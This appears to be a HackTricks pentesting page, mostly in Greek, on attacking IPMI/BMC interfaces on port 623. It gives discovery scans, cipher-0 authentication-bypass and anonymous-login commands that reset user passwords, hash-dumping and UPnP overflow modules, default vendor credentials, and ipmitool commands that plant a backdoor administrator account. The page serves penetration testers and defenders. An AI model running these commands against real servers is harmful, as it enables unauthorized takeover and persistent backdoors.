623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Support HackTricks

Basic Information

Overview of IPMI

Intelligent Platform Management Interface (IPMI) προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση τροφοδοσίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται συστήματα απομακρυσμένα, ακόμη και όταν είναι απενεργοποιημένα ή μη ανταποκρινόμενα, και είναι ιδιαίτερα χρήσιμη για:

  • Ρυθμίσεις εκκίνησης πριν από το λειτουργικό σύστημα

  • Διαχείριση απενεργοποίησης

  • Ανάκτηση από αποτυχίες συστήματος

Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, παράλληλα με την παροχή πληροφοριών αποθέματος, την ανασκόπηση καταγραφών υλικού και την αποστολή ειδοποιήσεων μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.

Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:

  • Baseboard Management Controller (BMC): Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.

  • Communication Buses and Interfaces: Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.

  • IPMI Memory: Για την αποθήκευση καταγραφών και δεδομένων.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Default Port: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)

Enumeration

Discovery

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Μπορείτε να εντοπίσετε την έκδοση χρησιμοποιώντας:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του cipher type 0. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην έρευνα του Dan Farmer, επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.

IPMI Authentication Bypass via Cipher 0

Για να ανιχνευθεί αυτή η αδυναμία, μπορεί να χρησιμοποιηθεί ο παρακάτω auxiliary scanner του Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Η εκμετάλλευση αυτού του σφάλματος είναι εφικτή με το ipmitool, όπως αποδεικνύεται παρακάτω, επιτρέποντας την καταγραφή και τροποποίηση των κωδικών πρόσβασης χρηστών:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατισμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιοδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτή την ευπάθεια, το Metasploit προσφέρει ένα module:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Ανώνυμη Αυθεντικοποίηση

Μια προεπιλεγμένη ρύθμιση σε πολλές BMC επιτρέπει την "ανώνυμη" πρόσβαση, που χαρακτηρίζεται από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για να επαναφέρει τους κωδικούς πρόσβασης των ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Clear-text Passwords

Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το /nv/PSBlock ή το /nv/PSStore εγείρει σημαντικούς προβληματισμούς ασφαλείας:

cat /nv/PSBlock

Ευπάθεια UPnP IPMI Supermicro

Η συμπερίληψη ενός ακροατή SSDP UPnP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφαλείας. Οι ευπάθειες στο Intel SDK για συσκευές UPnP έκδοσης 1.3.1, όπως αναφέρεται στην αποκάλυψη της Rapid7, επιτρέπουν πρόσβαση root στο BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης για το προϊόν Integrated Lights Out (iLO) κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν στατικά προεπιλεγμένα διαπιστευτήρια. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής:

  • HP Integrated Lights Out (iLO) χρησιμοποιεί μια εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.

  • Προϊόντα όπως το Dell's iDRAC, IBM's IMM και το Fujitsu's Integrated Remote Management Controller χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.

  • Ομοίως, Supermicro IPMI (2.0), Oracle/Sun ILOM και ASUS iKVM BMC χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.

Accessing the Host via BMC

Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας init=/bin/sh) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του ipmitool. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.

Introducing Backdoors into BMC from the Host

Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του ipmitool στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγών BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

Υποστήριξη HackTricks

Last updated